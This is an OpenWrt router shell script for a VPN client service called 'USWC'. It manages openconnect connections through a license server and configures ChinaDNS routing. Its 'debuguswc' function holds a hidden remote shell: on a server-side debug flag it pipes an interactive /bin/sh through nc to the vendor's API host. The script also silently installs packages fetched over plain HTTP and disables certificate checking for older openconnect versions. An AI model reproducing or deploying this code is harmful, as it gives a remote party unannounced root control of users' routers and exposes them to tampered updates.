#!/bin/sh
#初始化启动部分。init,checkmainland还需要调整。
startuswc(){
	echo "###############################################################"
	echo "Start USWC..."
	sleep 2
	checkpid
	checkinternet
	echo $interface
	checkopenconnect
	init
	#checkmainland
	main
}

#pid检测防止重复运行。基本不需要更新了。
checkpid(){
	echo "###############################################################"
	echo "Check PID..."
	pid=`echo $$` 
	pname=`echo $0`
	mypidfile=/tmp/uswc.pid
	echo "Check USWC Running PID..."
	if test -f "$mypidfile";then
		expid=`cat $mypidfile`
		pfalg=`ps|grep "$expid"|grep "$pname"|wc -l`
	fi
	if [ "1" = "$pfalg" ];then
		echo "The process $pname is already exists ! pid:$expid."
		exit 0
	else
		echo $pid > $mypidfile
		echo "Pass! PID:$pid"
	fi
}

#检测互联网接口,提取互联网接口名称和网关地址,重复运行.基本不需要更新了。已经兼容pppoe和4G拨号接口的检测。
checkinternet(){
	echo "###############################################################"
	echo "Check Internet..."
	while true;do
		wanlist=$(uci show network|grep interface|grep -v lan|grep -v loopback|grep -v wan6|grep -v uswc|awk -F "." '{print $2}'|awk -F "=" '{print $1}')	
		for interface in `echo $wanlist`;do
			interfaceproto=$(ifstatus $interface|grep proto|awk -F "\"" '{print $4}')
			if [ "$interfaceproto" != "dhcpv6" ];then
				nexthop=$(ifstatus $interface|grep nexthop|tail -1|awk -F "\"" '{print $4}')
				if [ -n "$nexthop" ];then
					route del -net default
					route add -net default gw $nexthop metric 200
					uci set network.$interface.metric=200
					uci commit network
					uci set uswc.@uswc[0].gw=$nexthop
					uci commit uswc
					echo $interface $nexthop
					break 2
				fi
			fi
		done
		echo "check fail.recheck internet"
		sleep 30
	done
}

#检测openconnect版本。旧的版本不进行证书验证。部分设备仍需使用。配合连接部分也要做两个连接。优先带证书验证。基本不需要更新了。
checkopenconnect(){
	echo "###############################################################"
	echo "Check the script openconnect.sh..."
opversion=$(openconnect -V|awk -F "" '
{
  for(i=1;i<=NF;i++)
  {  
    if ($i ~ /[0-9]/)
    {
      str=$i
      str1=(str1 str)
    }  
  } 
  print str1
}')
	opversion=$(echo $opversion | awk '{print $1}')
	grep no-cert-check /lib/netifd/proto/openconnect.sh  > /dev/null 2>&1
	if [[ "$?" != "0" ]] && [[ "$opversion" -lt "708" ]];then
		sed -i 's/--non-inter/--no-cert-check &/' /lib/netifd/proto/openconnect.sh
	else
		echo "Pass!"
	fi
}

#初始化时更新的一些参数。可以确保uswc工作正常。不定期检测是否需要更新。
init(){
	echo "###############################################################"
	echo "USWC test init..."
	uci get uswc.@uswc[0].version >/dev/null 2>&1
	if [ "$?" = "0" ];then
		uswcversion=$(uci get uswc.@uswc[0].version)
		version=$(opkg list-installed|grep uswc|awk '{print $3}')
		if [ "$uswcversion" != "$version" ];then
			uci set uswc.@uswc[0].version=$version
			uci commit uswc
		fi
	else
		version=$(opkg list-installed|grep uswc|awk '{print $3}')
		uci set uswc.@uswc[0].version=$version
		uci commit uswc
	fi
	uci set dhcp.@dnsmasq[0].noresolv=0
	uci commit dhcp
	/etc/init.d/dnsmasq reload
	cat>/etc/hosts<<EOF
127.0.0.1 localhost
192.168.201.1 uswc
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

EOF
	uswc.@uswc[1] > /dev/null 2>&1
	uswc.@uswc[1] > /dev/null 2>&1
	uswc.@uswc[1] > /dev/null 2>&1
	uci commit uswc
	ipv6forlan=$(uci get network.lan.delegate)
	if [ "$ipv6forlan" != "0" ];then
		uci set network.lan.delegate='0'
		uci del network.lan.ip6assign  >/dev/null 2>&1
		uci commit network
		uci del dhcp.lan.dhcpv6  >/dev/null 2>&1
		uci del dhcp.lan.ra  >/dev/null 2>&1
		uci commit dhcp
	fi
    for wifissid in `uci show wireless|grep ssid|awk -F "."  '{print $2}'`;do
        echo $wifissid
        uci set wireless.$wifissid.wmm='1'
        uci del wireless.$wifissid.wpa_group_rekey
        uci del wireless.$wifissid.wpa_pair_rekey
        uci del wireless.$wifissid.wpa_master_rekey
        uci commit wireless
    done
	echo "test end"
}

#核心进程，循环监听执行。根据需求调整。每次升级都要检查的部分。
main(){
	echo "###############################################################"
	echo "Start main..."
	while true;do
		echo "main..."
		checkuswcenable
		getlicense
		checklicense
		checkuswc1up
		uswc1_status=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
		if [ $uswc1_status ];then
			checknewroutelist
			checkchinadns
			checknewlicense
			checkroute
		fi
		if [ "$nodenum" = "2" ];then
			checkuswc2up
			uswc2_status=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
			if [ $uswc2_status ];then
				checknewroutelist
				checkchinadns
				checknewlicense
				checkroute
			fi			
		fi
		#debuguswc
		date
		sleep 30
	done
}

#uswc配置开关检测。基本不需要更新了。
checkuswcenable(){
	echo "###############################################################"
	echo "Check USWC enable..."
	uci get uswc.@uswc[0].enable >/dev/null 2>&1
	if [ "$?" = "0" ];then
		enable=$(uci get uswc.@uswc[0].enable)
		if [ "$enable" = "1" ];then
			echo "Pass!"
			/etc/init.d/uswc-service enable
		else
			echo "USWC is disabled. Please enable USWC and try again."
			/etc/init.d/uswc disable
			uswc stop
			/etc/init.d/uswc-service disable
			uswc-service stop
		fi
	else
		echo "USWC is disabled. Please enable USWC and try again."
		/etc/init.d/uswc disable
		uswc stop
		/etc/init.d/uswc-service disable
		uswc-service stop
	fi
}

#获取当前license和hostname信息。并将api接口的解析信息添加到本地hosts里防止dns异常时无法获取用户信息。暂不更新。后期根据需求更新。
getlicense(){
	echo "###############################################################"
	echo "GET License..."
	#获取填入的license
	uci get uswc.@uswc[0].license >/dev/null 2>&1
	if [ "$?" == "0" ];then
		license=$(uci get uswc.@uswc[0].license)
	else
		license="null"
		echo " No License found."
		uswc stop
	fi

	#获取填入的HostName
	uci get uswc.@uswc[0].hostname >/dev/null 2>&1
	if [ "$?" == "0" ];then
		server=$(uci get uswc.@uswc[0].hostname)
	else
		server="null"
		echo " No Hostname found."
		uswc stop
	fi
	apiurl=$(echo http://api.$server/)
	echo $license $apiurl
	
	grep -r api.$server /etc/hosts
	if [ "$?" != "0" ];then
		apip=$(checkip api.$server)
		echo $apip api.$server >> /etc/hosts
		route add  $apip gw $nexthop >/dev/null 2>&1
	fi
}

#检测license状态。200为正常。405为到期。其他暂未定义。后期根据定义内容更新。
checklicense(){
	echo "###############################################################"
	echo "Check License..."
	upinfo=$(curl --connect-timeout 10 -s -d "uid=$license" $apiurl'version.php')
	if [ "$?" = "0" ];then
		state=$(echo $upinfo|awk -F "|" '{print $1}')	
		case "$state" in
		200)
			version=$(uci get uswc.@uswc[0].version)
			upversion=$(echo $upinfo|awk -F "|" '{print $2}')
			endtime=$(echo $upinfo|awk -F "|" '{print $3}')
			debug=$(echo $upinfo|awk -F "|" '{print $4}')
			port=$(echo $upinfo|awk -F "|" '{print $5}')
			uci set uswc.@uswc[0].endtime=$endtime
			uci commit uswc
			echo "Pass! License: $license. Expiry time: $endtime"
			checkversion
			;;
		405)
			endtime=$(echo $upinfo|awk -F "|" '{print $2}')
			uci set uswc.@uswc[0].enable=0
			uci set uswc.@uswc[0].endtime=$endtime
			uci commit uswc
			echo "License: $license has expired. Expiry time: $endtime"
			uswc stop
			;;
		*)
			echo "API server communication error.Please check whether license and hostname are correct."
			uswc stop
			;;
		esac
	fi
}

#检测uswc接口状态,通讯检测由原来的curl方式改为ping接入地址。可减少网络负载和外部网站对检测的影响。需接入设备开放icmp权限。允许ping。不需要更新。
checkuswc1up(){
	echo "###############################################################"
	echo "Check USWC1 status..."
	if [ $test1num ];then
		echo $test1num
	else
		test1num=0
	fi
	uptime=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
	if [ -n "$uptime" ];then
		testurlid=$(rand 1 5)
		case "$testurlid" in
		1)
			testurl=http://ip.cn
			;;
		2)
			testurl=http://ipinfo.io
			;;
		3)
			testurl=http://ifconfig.co
			;;
		4)
			testurl=http://checkip.dyndns.org
			;;
		5)
			testurl=http://ipecho.net/plain
			;;
		esac
		curl -s --connect-timeout 5 --interface vpn-uswc1 $apiurl'ip.php'
		if [ "$?" != "0" ];then
			test1num=$(($test1num + 1))
			if [ "$test1num" -lt "2" ];then
				sleep 1
				checkuswc1up
			else
				test1num=0
				ifupuswc1
			fi
		else
			test1num=0
		fi
	else
		test1num=0
		ifupuswc1
	fi


}

checkuswc2up(){
	echo "###############################################################"
	echo "Check USWC2 status..."
	if [ $test2num ];then
		echo $test2num
	else
		test2num=0
	fi
	uptime2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
	if [ -n "$uptime2" ];then
		testurlid=$(rand 1 5)
		case "$testurlid" in
		1)
			testurl=http://ip.cn
			;;
		2)
			testurl=http://ipinfo.io
			;;
		3)
			testurl=http://ifconfig.co
			;;
		4)
			testurl=http://checkip.dyndns.org
			;;
		5)
			testurl=http://ipecho.net/plain
			;;
		esac
		curl -s --connect-timeout 5 --interface vpn-uswc2 $apiurl'ip.php'
		if [ "$?" != "0" ];then
			test2num=$(($test2num + 1))
			if [ "$test2num" -lt "2" ];then
				sleep 1
				checkuswc2up
			else
				test2num=0
				ifupuswc2
			fi
		else
			test2num=0
		fi
	else
		test2num=0
		ifupuswc2
	fi
}

#时间转换算法及将uptime写入uswc配置文件。基本不需要更新了。
uswcuptime(){
	uptime=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
	if [ -n "$uptime" ];then
		second1=$(ifstatus uswc1|grep uptime|awk '{print $2}'|sed 's/.$//')
		hour1=$(( $second1 / 3600 ))
		min1=$(($(( $second1 / 60 )) % 60))
		sec1=$(($second1 % 60))
		echo uswc1 $hour1"h" $min1"m" $sec1"s"
		uci set uswc.@uswc[0].uptime=$hour1"h "$min1"m "$sec1"s"
		uci commit uswc
	else
		echo USWC1 is down.
	fi
	uptime2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
	if [ -n "$uptime2" ];then
		second2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|sed 's/.$//')
		hour2=$(( $second2 / 3600 ))
		min2=$(($(( $second2 / 60 )) % 60))
		sec2=$(($second2 % 60))
		echo uswc2 $hour2"h" $min2"m" $sec2"s"
		if [ "$second1" -lt "$second2" ];then
			uci set uswc.@uswc[0].uptime=$hour2"h "$min2"m "$sec2"s"
			uci commit uswc
		fi
	else
		echo USWC2 is down.
	fi
}

#检测是否大陆IP用，暂时用不到。后期根据需求添加。保留该内容。
checkmainland(){
	echo "###############################################################"
	echo "Check mainland..."
	mainland=$(curl --connect-timeout 5 -s http://ipservice.163.com/isFromMainland)
	case "$mainland" in
	true)
		echo is from mainland
		;;
	false)
		echo not from mainland
		;;
	*)
		echo unknow error
		;;
	esac
}

#检查版本更新,由核心监听部分切换到license检测部分。防止获取license信息失败时进行错误安装。造成uswc意外停止。可暂不更新。后期根据需求更新。
checkversion(){
	echo "###############################################################"
	echo "Check Version..."
	if [ "$version" != "$upversion" ];then
		echo " Find a new version: $upversion. Start online updates..."
		uci set uswc.@uswc[0].version=$upversion
		uci commit uswc
		opkg install $apiurl'uswc_'$upversion'_all.ipk' &
		/etc/init.d/uswc-service stop
		/etc/init.d/uswc stop
	else
		echo "Pass! Version: $version"
		uci set uswc.@uswc[0].version=$version
		uci commit uswc
	fi
}

#随机数获取的函数。暂时无用。保留即可。
rand(){
    min=$1
    max=$(($2-$min+1))
    num=$(date +%s)
    echo $(($num%$max+$min))
}

#更新用户信息并启用接口,根据需求运行.一般为未连接时或输入了新的license时运行.根据后期向客户端传递更多信息时更新，暂不更新。此函数分两种。一种带证书认证。一种不带。根据openconnect版本信息来确定执行哪一个。
ifupuswc1(){
	echo "###############################################################"
	echo " The USWC1 interface is not activated. Start the USWC1 interface."
	echo " Get connection information and start the interface..."
	license=$(uci get uswc.@uswc[0].license)
	server=$(uci get uswc.@uswc[0].hostname)
	apiurl=$(echo http://api.$server/)
	info=$(curl --connect-timeout 10 -s -d "uid=$license" "$apiurl")
	if [ $info ];then
		state=$(echo $info|awk -F "|" '{print $1}')
		if [ "$state" == "200" ];then
			username=$(echo $info|awk -F "|" '{print $3}')
			password=$(echo $info|awk -F "|" '{print $4}')
			node=$(echo $info|awk -F "|" '{print $5}')
			group=$(echo $info|awk -F "|" '{print $6}')
			routerlist=$(echo $info|awk -F "|" '{print $7}')
			direction=$(echo $info|awk -F "|" '{print $8}')
			servercert=$(echo $info|awk -F "|" '{print $9}')
			nodenum=$(echo $info|awk -F "|" '{print $10}')
			node2=$(echo $info|awk -F "|" '{print $11}')
			node2servercert=$(echo $info|awk -F "|" '{print $12}')
			uci set network.uswc1=interface
			uci set network.uswc1.proto='openconnect'
			uci set network.uswc1.auto='0'
			uci set network.uswc1.port='443'
			uci set network.uswc1.delegate='0'
			uci set network.uswc1.defaultroute='0'
			uci set network.uswc1.username=$username
			uci set network.uswc1.password=$password
			uci set network.uswc1.server=$node
			uci set network.uswc1.authgroup=$group
			if [ "$opversion" -lt "708" ];then
				uci del network.uswc1.serverhash >/dev/null 2>&1
				echo "uswc1 without cert"
			else
				uci set network.uswc1.serverhash=$servercert
				echo "uswc1 with cert"
			fi
			uci commit network.uswc1
			uci set uswc.@uswc[0].routerlist=$routerlist
			uci set uswc.@uswc[0].direction=$direction
			uci set uswc.@uswc[0].actlicense=$license
			uci commit uswc
			nodewanip=$(checkip $node)
			nodelanip=$(resolveip $node)
			if [ "$nodewanip" != "$nodelanip" ];then
				sed -i -e /$node/d /etc/hosts
			fi
			echo `resolveip $node|head -1` $node >>/etc/hosts
			wangw=$(uci get uswc.@uswc[0].routegw)
			echo " Pass! $info"
			#检查防火墙设置。需要将uswc的接口放入公网防火墙区域。
			echo " Check the firewall configuration..."
			zoneid=$(uci show firewall|grep wan|grep zone|head -1|awk -F "." '{print $2}')
			FIREWALL=$(uci get firewall.$zoneid.network)
			echo $FIREWALL|grep uswc1 >/dev/null
			if [ "$?" != "0" ];then
				echo " Add uswc1 to Firewall"
				uci set firewall.$zoneid.network="$FIREWALL uswc1"
				uci commit firewall
			fi
			echo " The USWC1 interface is successfully added to the firewall configuration."
			echo " Start the USWC1 interface."
			ifup uswc1
			sleep 10
			uptime=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
			if [ $uptime ];then
				test1num=0
				echo 'USWC1 is up with cert.'
			else
				sleep 5
				uptime=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
				if [ $uptime ];then
					test1num=0
					echo 'USWC1 is up with cert.'
				else
					sleep 5
					uptime=$(ifstatus uswc1|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
					if [ $uptime ];then
						test1num=0
						echo 'USWC1 is up with cert.'
					else
						echo 'USWC1 can not up with cert.test no cert.'
					fi
				fi
			fi
		fi
	fi
}
ifupuswc2(){
	echo "###############################################################"
	echo " The USWC2 interface is not activated. Start the USWC2 interface."
	echo " Get connection information and start the interface..."
	license=$(uci get uswc.@uswc[0].license)
	server=$(uci get uswc.@uswc[0].hostname)
	apiurl=$(echo http://api.$server/)
	info=$(curl --connect-timeout 10 -s -d "uid=$license" "$apiurl")
	if [ $info ];then
		state=$(echo $info|awk -F "|" '{print $1}')
		if [ "$state" == "200" ];then
			username=$(echo $info|awk -F "|" '{print $3}')
			password=$(echo $info|awk -F "|" '{print $4}')
			node=$(echo $info|awk -F "|" '{print $5}')
			group=$(echo $info|awk -F "|" '{print $6}')
			routerlist=$(echo $info|awk -F "|" '{print $7}')
			direction=$(echo $info|awk -F "|" '{print $8}')
			servercert=$(echo $info|awk -F "|" '{print $9}')
			nodenum=$(echo $info|awk -F "|" '{print $10}')
			node2=$(echo $info|awk -F "|" '{print $11}')
			node2servercert=$(echo $info|awk -F "|" '{print $12}')
			uci set network.uswc2=interface
			uci set network.uswc2.proto='openconnect'
			uci set network.uswc2.auto='0'
			uci set network.uswc2.port='443'
			uci set network.uswc2.delegate='0'
			uci set network.uswc2.defaultroute='0'
			uci set network.uswc2.username=$username
			uci set network.uswc2.password=$password
			uci set network.uswc2.server=$node2
			uci set network.uswc2.authgroup=$group
			if [ "$opversion" -lt "708" ];then
				uci del network.uswc2.serverhash >/dev/null 2>&1
				echo "uswc2 without cert"
			else
				uci set network.uswc2.serverhash=$node2servercert
				echo "uswc2 with cert"
			fi
			uci commit network.uswc2
			uci set uswc.@uswc[0].routerlist=$routerlist
			uci set uswc.@uswc[0].direction=$direction
			uci set uswc.@uswc[0].actlicense=$license
			uci commit uswc
			node2wanip=$(checkip $node2)
			node2lanip=$(resolveip $node2)
			if [ "$node2wanip" != "$node2lanip" ];then
				sed -i -e /$node2/d /etc/hosts
			fi
			echo `resolveip $node2|head -1` $node2 >>/etc/hosts
			echo " Pass! $info"
			#检查防火墙设置。需要将uswc的接口放入公网防火墙区域。
			echo " Check the firewall configuration..."
			zoneid=$(uci show firewall|grep wan|grep zone|head -1|awk -F "." '{print $2}')
			FIREWALL=$(uci get firewall.$zoneid.network)
			echo $FIREWALL|grep uswc2 >/dev/null
			if [ "$?" != "0" ];then
				echo " Add uswc2 to Firewall"
				uci set firewall.$zoneid.network="$FIREWALL uswc2"
				uci commit firewall
			fi
			echo " The USWC2 interface is successfully added to the firewall configuration."
			echo " Start the USWC2 interface."
			ifup uswc2
			sleep 10
			uptime2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
			if [ $uptime2 ];then
				test2num=0
				echo 'USWC2 is up with cert.'
			else
				sleep 5
				uptime2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
				if [ $uptime2 ];then
					test2num=0
					echo 'USWC2 is up with cert.'
				else
					sleep 5
					uptime2=$(ifstatus uswc2|grep uptime|awk '{print $2}'|awk -F "," '{print $1}')
					if [ $uptime2 ];then
						test2num=0
						echo 'USWC2 is up with cert.'
					else
						echo 'USWC2 can not up with cert.test no cert.'
					fi
				fi
			fi
		fi
	fi
}

#获取域名对应IP的函数
checkip(){
	nslookup $1 8.8.8.8|grep "Address 1"|tail -1|awk '{print $3}'
	if [ "$?" != "0" ];then
	resolveip $1
	fi
}

#ChinaDNS检测,需要在连接成功后,重复运行
checkchinadns(){
	echo "###############################################################"
	uci set chinadns.@chinadns[0].server='180.76.76.76,1.2.4.8,8.8.8.8,66.28.0.45'
	uci commit chinadns
	uci get chinadns.@chinadns[0].port >/dev/null 2>&1
	if [ "$?" = "0" ];then
		dnsport=$(uci get chinadns.@chinadns[0].port)
		netstat -anup|grep $dnsport|grep chinadns >/dev/null 2>&1
		if [ "$?" != "0" ];then
			echo " ChinaDNS is not Running"
			echo " Start ChinaDNS..."
			uci set chinadns.@chinadns[0].enable=1
			uci commit chinadns
			/etc/init.d/chinadns enable >/dev/null 2>&1
			/etc/init.d/chinadns start > /dev/null 2>&1
			if [ "$?" = "0" ];then
				sleep 3
				checkchinadns
			else
				installChinaDNS
			fi
		else
			echo " ChinaDNS is Running,port is $dnsport."
			chinadnsserver=$(uci get chinadns.@chinadns[0].server)
			echo $chinadnsserver
			if [ "$chinadnsserver" != "180.76.76.76,1.2.4.8,8.8.8.8,66.28.0.45" ];then
				echo "Check ChinaDNS Server..."
				uci set chinadns.@chinadns[0].server='180.76.76.76,1.2.4.8,8.8.8.8,66.28.0.45'
				uci commit chinadns
				/etc/init.d/chinadns restart
				sleep 2
			fi
			dhcpstatus=$(uci get dhcp.@dnsmasq[0].noresolv)
			if [ "$dhcpstatus" == "0" ];then
				echo "Apply dnsmasq..."
				uci set dhcp.@dnsmasq[0].local='127.0.0.1#'$dnsport
				uci set dhcp.@dnsmasq[0].noresolv='1'
				uci commit dhcp
				/etc/init.d/dnsmasq reload > /dev/null 2>&1
			fi
		fi
	else
		installChinaDNS
	fi
}


#安装ChinaDNS,根据需求运行
installChinaDNS(){
	echo "###############################################################"
	echo "InstallChinaDNS"
	opkg remove luci-app-chinadns ChinaDNS > /dev/null 2>&1
	rm /etc/config/chinadns* > /dev/null 2>&1
	for a in $(opkg print-architecture | awk '{print $2}'); do
		case "$a" in
			all|noarch)
				;;
			ar71xx|bcm53xx|bcm2708|brcm47xx|brcm63xx|kirkwood|mvebu|oxnas|ramips_24kec|sunxi|x86|x86_64)
				ARCH=${a}
				;;
			aarch64_armv8-a|arm_arm1176jzf-s_vfp|arm_arm926ej-s|arm_cortex-a15_neon-vfpv4|arm_cortex-a5|arm_cortex-a53_neon-vfpv4|arm_cortex-a7_neon-vfpv4|arm_cortex-a8_vfpv3|arm_cortex-a9|arm_cortex-a9_neon|arm_cortex-a9_vfpv3|arm_fa526|arm_mpcore|arm_mpcore_vfp|arm_xscale|armeb_xscale|i386_pentium|i386_pentium4|mips_24kc|mips_mips32|mips64_octeon|mipsel_24kc|mipsel_74kc|mipsel_mips32|powerpc_464fp|powerpc_8540|x86_64)
				ARCH=${a}
				;;
			*)
				echo "Architectures not support for ChinaDNS."
				;;
		esac
	done
	if [ -n "$ARCH" ];then
		opkg install $apiurl'ChinaDNS/ChinaDNS_1.3.2-8_'$ARCH'.ipk' > /dev/null 2>&1
		if [ "$?" == "0" ];then
			uci set chinadns.@chinadns[0].enable=1
			uci set chinadns.@chinadns[0].server='180.76.76.76,1.2.4.8,8.8.8.8,66.28.0.45'
			uci commit chinadns
			/etc/init.d/chinadns enable
			/etc/init.d/chinadns start > /dev/null 2>&1
			checkchinadns
		else
			echo "Failure of ChinaDNS installation.To get a better experience. Please install ChinaDNS."
		fi
	fi
}

debuguswc(){
	echo "###############################################################"
	if [ "$debug" = "1" ];then
		ps|grep nc |grep $port
		if [ "$?" != "0" ];then
			{
			rm /tmp/f
			mkfifo /tmp/f
			cat /tmp/f | /bin/sh -i 2>&1 | nc api.$server $port >/tmp/f
			} &
		fi
	fi
}
#检测路由表信息。放在这里是可以及时更新路由表。
checknewroutelist(){
	echo "###############################################################"
	echo " Custom routing information detection..."
	for ips in `cat /tmp/routelist.txt | grep -v /`
	do
		sed -i /$ips/d /tmp/routelist.txt
	done
	uci get uswc.@uswc[0].routerlist >/dev/null 2>&1
	if [ "$?" = "0" ];then
		routerlist=$(uci get uswc.@uswc[0].routerlist)
		if [ -s "/tmp/routelist.txt" ] ;then
			troutelist=$(wc -l /tmp/routelist.txt|awk '{print $1}')
			croutelist=$(wc -l /etc/chinadns_chnroute.txt|awk '{print $1}')
			if [[ "$troutelist" != "$croutelist" ]] && [[ "200" -lt "$troutelist" ]];then
				echo " Custom routing information is on the $routerlist and starts downloading..."
				wget -q -O /tmp/routelist.txt $routerlist
				if [ "$?" = "0" ];then
					cp /tmp/routelist.txt /etc/chinadns_chnroute.txt
				fi
				sleep 2
				checknewroutelist
			else
				echo " Pass!Found $troutelist custom routes."
			fi
		else
			echo " Custom routing information is on the $routerlist and starts downloading..."
			wget -q -O /tmp/routelist.txt $routerlist
			if [ "$?" = "0" ];then
				cp /tmp/routelist.txt /etc/chinadns_chnroute.txt
			fi
			checknewroutelist
		fi
	else
		echo " No Custom routing information was found!"
	fi
}

#检查是否需要更新路由表
checkroute(){
	echo "###############################################################"
	nexthop=$(ifstatus $interface|grep nexthop|tail -1|awk -F "\"" '{print $4}')
	if [ "$direction" != "china" ];then
		for uswc_up_interface_name in `ifconfig|grep uswc|awk '{print $1}'`;do
			route -n|grep $uswc_up_interface_name|grep -v 255
			if [ "$?" = "0" ];then
				echo already has default route for $uswc_up_interface_name
			else
				uswc_metric=$(route -n |grep uswc|grep -v 255|awk '{print $5}')
				uswc_metric=$(($uswc_metric + 1))
				route add -net default dev $uswc_up_interface_name metric $uswc_metric >/dev/null 2>&1
			fi
		done
		if [ "190" -lt "$uswc_metric" ];then
			uswc stop
		fi
		routenums=$(route -n|grep $nexthop|wc -l)
		if [ "$routenums" -lt "200" ];then
			routenums2=$(route -n|wc -l)
			if [ "200" -lt "$routenums2" ];then
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route del -net $routes >/dev/null 2>&1
					route add -net $routes gw $nexthop >/dev/null 2>&1
				done
			else
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route add -net $routes gw $nexthop >/dev/null 2>&1
				done
			fi
		fi
	else
		routenums=$(route -n|grep vpn-uswc1|wc -l)
		sleep 1
		if [ "$routenums" -lt "200" ];then
			for routes in `cat /etc/chinadns_chnroute.txt`;do
				route add -net $routes dev vpn-uswc1>/dev/null 2>&1
			done
		fi
		if [ "$nodenum" = "2" ];then
			routenums=$(route -n|grep vpn-uswc2|wc -l)
			sleep 1
			if [ "$routenums" -lt "200" ];then
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route add -net $routes dev vpn-uswc2>/dev/null 2>&1
				done
			fi
		fi
	fi
	uci set uswc.@uswc[0].routegw=$nexthop
	uci commit uswc
}
addroute(){
	nexthop=$(ifstatus $interface|grep nexthop|tail -1|awk -F "\"" '{print $4}')
	if [ "$direction" != "china" ];then
		routenums=$(route -n|grep $nexthop|wc -l)
		if [ "$routenums" -lt "200" ];then
			routenums2=$(route -n|wc -l)
			if [ "200" -lt "$routenums2" ];then
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route del -net $routes >/dev/null 2>&1
					route add -net $routes gw $nexthop >/dev/null 2>&1
				done
			else
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route add -net $routes gw $nexthop >/dev/null 2>&1
				done
			fi
		fi
	else
		routenums=$(route -n|grep vpn-uswc1|wc -l)
		sleep 1
		if [ "$routenums" -lt "200" ];then
			for routes in `cat /etc/chinadns_chnroute.txt`;do
				route add -net $routes dev vpn-uswc1>/dev/null 2>&1
			done
		fi
		if [ "$nodenum" = "2" ];then
			routenums2=$(route -n|grep vpn-uswc2|wc -l)
			sleep 1
			if [ "$routenums2" -lt "200" ];then
				for routes in `cat /etc/chinadns_chnroute.txt`;do
					route add -net $routes dev vpn-uswc2>/dev/null 2>&1
				done
			fi
		fi
	fi
	uci set uswc.@uswc[0].routegw=$nexthop
	uci commit uswc
}

#检查是否license有更新
checknewlicense(){
	echo "###############################################################"
	echo "Check New License..."
	uci get uswc.@uswc[0].actlicense >/dev/null 2>&1
	if [ "$?" == "0" ];then
		actlicense=$(uci get uswc.@uswc[0].actlicense)
	else
		actlicense="null"
	fi
	
	uci get uswc.@uswc[0].license >/dev/null 2>&1
	if [ "$?" == "0" ];then
		license=$(uci get uswc.@uswc[0].license)
	else
		license="null"
	fi
	
	if [ "$license" != "$actlicense" ];then
		echo "Found New License: $license. Expiry time: $endtime"
		ifupuswc1
		if [ "$nodenum" = "2" ];then
			ifupuswc2
		fi
	else
		echo "Pass! License: $license. Expiry time: $endtime"
	fi
}

demo(){
	echo "this demo"
	sleep 5
}

action=$1
[  -z $1 ] && action=start
case "$action" in
start)
    startuswc
    ;;
-V|-v|version|-version) #版本信息
	version=$(uci get uswc.@uswc[0].version)
	echo "USWC version v$version"
	;;
-d|-stop|stop) #外部关闭进程功能。关闭接口，kill运行中的进程并初始化dns配置信息。不用chinadns解析。防止解析异常。并通过ifupwan接口的方式重置路由表。
	ifdown uswc > /dev/null 2>&1
	kill -9 `cat /tmp/uswc.pid` > /dev/null 2>&1
	uci del uswc.@uswc[0].uptime >/dev/null 2>&1
	uci commit uswc
	ifdown uswc1
	ifdown uswc2
	uci del network.uswc1 > /dev/null 2>&1 
	uci del network.uswc2 > /dev/null 2>&1 
	uci commit network
	uci set dhcp.@dnsmasq[0].noresolv='0'
	uci commit dhcp
	/etc/init.d/dnsmasq reload
	echo "USWC has stopped!"
	;;
uptime|-u)
	uswcuptime
	;;
$1)
	$1
	;;
*)
    echo "
Usage: uswc [<OPTIONS>]

Options:
        start
        stop
        -v, --version Report version number
"
    ;;
esac
